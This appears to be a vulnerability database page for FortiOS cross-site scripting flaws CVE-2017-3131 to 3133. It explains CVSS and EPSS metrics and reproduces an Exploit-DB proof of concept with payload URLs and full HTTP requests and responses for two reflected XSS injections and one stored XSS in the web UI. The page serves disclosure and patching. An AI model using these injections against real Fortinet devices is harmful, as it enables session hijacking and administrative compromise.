Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-79 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
5.4 |
MEDIUM |
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
3.5 |
|
AV:N/AC:M/Au:S/C:N/I:P/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 42388
Publication date : 2017-07-27 22h00 +00:00
Author : patryk_bogdan
EDB Verified : Yes
# Title: FortiOS <= 5.6.0 Multiple XSS Vulnerabilities
# Vendor: Fortinet (www.fortinet.com)
# CVE: CVE-2017-3131, CVE-2017-3132, CVE-2017-3133
# Date: 28.07.2016
# Author: Patryk Bogdan (@patryk_bogdan)
Affected FortiNet products:
* CVE-2017-3131 : FortiOS versions 5.4.0 to 5.6.0
* CVE-2017-3132 : FortiOS versions upto 5.6.0
* CVE-2017-3133 : FortiOS versions upto 5.6.0
Fix:
Upgrade to FortiOS version 5.6.1
Video PoC (add admin):
https://youtu.be/fcpLStCD61Q
Vendor advisory:
https://fortiguard.com/psirt/FG-IR-17-104
Vulns:
1. XSS in WEB UI - Applications:
URL:
https://192.168.1.99/ng/fortiview/app/15832" onmouseover=alert('XSS') x="y
Http request:
GET /ng/fortiview/app/15832%22%20onmouseover=alert('XSS')%20x=%22y HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Cookie: APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AZxzmYv40KrD1JvCdcctTzmuS+OEd08y+4Vh54tq%2Fap2ej%2F1gJfbaindJ5r4wDXZh%0A4q%2FfgVCdTfMFn+Mr6Xj5Og%3D%3D%0A%26AuthHash%3D9+TbiFXbk+Qkks0pPlkbNDx2L1EA%0A"; ccsrftoken_573485771="5424C6B3842788A23E3413307F1DFFC5"; ccsrftoken="5424C6B3842788A23E3413307F1DFFC5"; VDOM_573485771=root; csrftoken_573485771=da85e919f71a610c45aff174b23c7a10
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Http response:
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 12:07:47 GMT
Server: xxxxxxxx-xxxxx
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Vary: Accept-Encoding
Content-Length: 6150
Connection: close
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-UA-Compatible: IE=Edge
(...)
<span class="fgd-app tooltip id_15832" onmouseover="alert('XSS')" x="y " data-address="undefined" data-dport="443" data-protocol="6"><a href="https://www.fortiguard.com/fos/15832" onclick="return false;" data-hasqtip="2"><span class="app_icon app15832" onmouseover="alert('XSS')" x="y"></span><label class="app_label" title="">15832" onmouseover=alert('XSS') x="y</label></a></span>
(...)
2. XSS in WEB UI - Assign Token:
URL:
https://192.168.1.99/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert('XSS')%3C/script%3E%3Cscript%3E
Http request:
GET /p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E%3Cscript%3E HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Cookie: APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0ALuXSfDjrp0Gel8F8TeKlBgC3kk4P1mhdELHr2Cicb3Zb6hBUnT9ZZnjXC44Dc7bD%0Ae2ymJG%2FgbHFa+4N9AVDIrg%3D%3D%0A%26AuthHash%3DMyJMLA32ueruHIEKia2eb9BWi8oA%0A"; ccsrftoken_573485771="314A25687F6B2075F9413405575D477"; ccsrftoken="314A25687F6B2075F9413405575D477"; VDOM_573485771=root; csrftoken_573485771=593eb7ed5cb9704ffa4f388febbd5160
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Http response:
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 13:39:17 GMT
Server: xxxxxxxx-xxxxx
Content-Security-Policy: frame-ancestors 'self'
Expires: Thu, 23 Mar 2017 13:39:17 GMT
Vary: Cookie,Accept-Encoding
Last-Modified: Thu, 23 Mar 2017 13:39:17 GMT
X-UA-Compatible: IE=Edge
Cache-Control: max-age=0
X-FRAME-OPTIONS: SAMEORIGIN
Set-Cookie: csrftoken_573485771=593eb7ed5cb9704ffa4f388febbd5160; expires=Thu, 22-Mar-2018 13:39:17 GMT; Max-Age=31449600; Path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3485
(...)
<script type="text/javascript">
var ftokens = [];
var action = '</script><script>alert('XSS')</script><script>';
</script>
</head>
(...)
3. Stored XSS in WEB UI - Replacement Messages:
#1 - Http request:
POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Referer: https://192.168.1.99/p/system/replacemsg/edit/sslvpn/sslvpn-login/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRFTOKEN: d58f666c794024295cece8c5b8b6a3ff
X-Requested-With: XMLHttpRequest
Content-Length: 125
Cookie: guest_user_group_21232f297a57a5a743894a0e4a801fc3=; APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AYLFfh9FU2cKvm+hvxa8SbqbuwSnhEdeYV7CatzaScTAAOryJNdjQjDTLke8gJLfS%0A8Zx7lNyNxQr6xJIaKg5lpA%3D%3D%0A%26AuthHash%3D5NI4JPbIioX2ZJvxtEOGAOJ7q5UA%0A"; ccsrftoken_573485771="592068D7C2B5BDB7A91833DB6A512C14"; ccsrftoken="592068D7C2B5BDB7A91833DB6A512C14"; VDOM_573485771=root; csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D
DNT: 1
Connection: close
csrfmiddlewaretoken=d58f666c794024295cece8c5b8b6a3ff&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert('XSS')%3C%2Fscript%3E%0A
#1 - Http response:
HTTP/1.1 302 FOUND
Date: Thu, 23 Mar 2017 15:36:33 GMT
Server: xxxxxxxx-xxxxx
Content-Security-Policy: frame-ancestors 'self'
Expires: Thu, 23 Mar 2017 15:36:33 GMT
Last-Modified: Thu, 23 Mar 2017 15:36:33 GMT
Cache-Control: max-age=0
X-FRAME-OPTIONS: SAMEORIGIN
X-UA-Compatible: IE=Edge
Set-Cookie: EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%2C%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D; Path=/
Location: https://192.168.1.99/p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0
#2 - Http request:
GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Referer: https://192.168.1.99/p/system/replacemsg/edit/sslvpn/sslvpn-login/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRFTOKEN: d58f666c794024295cece8c5b8b6a3ff
X-Requested-With: XMLHttpRequest
Cookie: guest_user_group_21232f297a57a5a743894a0e4a801fc3=; APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AYLFfh9FU2cKvm+hvxa8SbqbuwSnhEdeYV7CatzaScTAAOryJNdjQjDTLke8gJLfS%0A8Zx7lNyNxQr6xJIaKg5lpA%3D%3D%0A%26AuthHash%3D5NI4JPbIioX2ZJvxtEOGAOJ7q5UA%0A"; ccsrftoken_573485771="592068D7C2B5BDB7A91833DB6A512C14"; ccsrftoken="592068D7C2B5BDB7A91833DB6A512C14"; VDOM_573485771=root; csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%2C%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D
DNT: 1
Connection: close
#2 - Http response:
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 15:36:33 GMT
Server: xxxxxxxx-xxxxx
Content-Security-Policy: frame-ancestors 'self'
Expires: Thu, 23 Mar 2017 15:36:33 GMT
Vary: Cookie,Accept-Encoding
Last-Modified: Thu, 23 Mar 2017 15:36:33 GMT
X-UA-Compatible: IE=Edge
Cache-Control: max-age=0
X-FRAME-OPTIONS: SAMEORIGIN
Set-Cookie: csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; expires=Thu, 22-Mar-2018 15:36:33 GMT; Max-Age=31449600; Path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 70940
(...)
<form id="replacemsg_form">
<div style='display:none'><input type='hidden' name='csrfmiddlewaretoken' value='d58f666c794024295cece8c5b8b6a3ff' /></div> <textarea id="buffer" name="buffer">ABC</textarea>
<script>alert('XSS')</script>
</textarea>
(...)
Products Mentioned
Configuraton 0
Fortinet>>Fortios >> Version 5.4.0
Fortinet>>Fortios >> Version 5.4.1
Fortinet>>Fortios >> Version 5.4.2
Fortinet>>Fortios >> Version 5.4.3
Fortinet>>Fortios >> Version 5.4.4
Fortinet>>Fortios >> Version 5.6.0
References
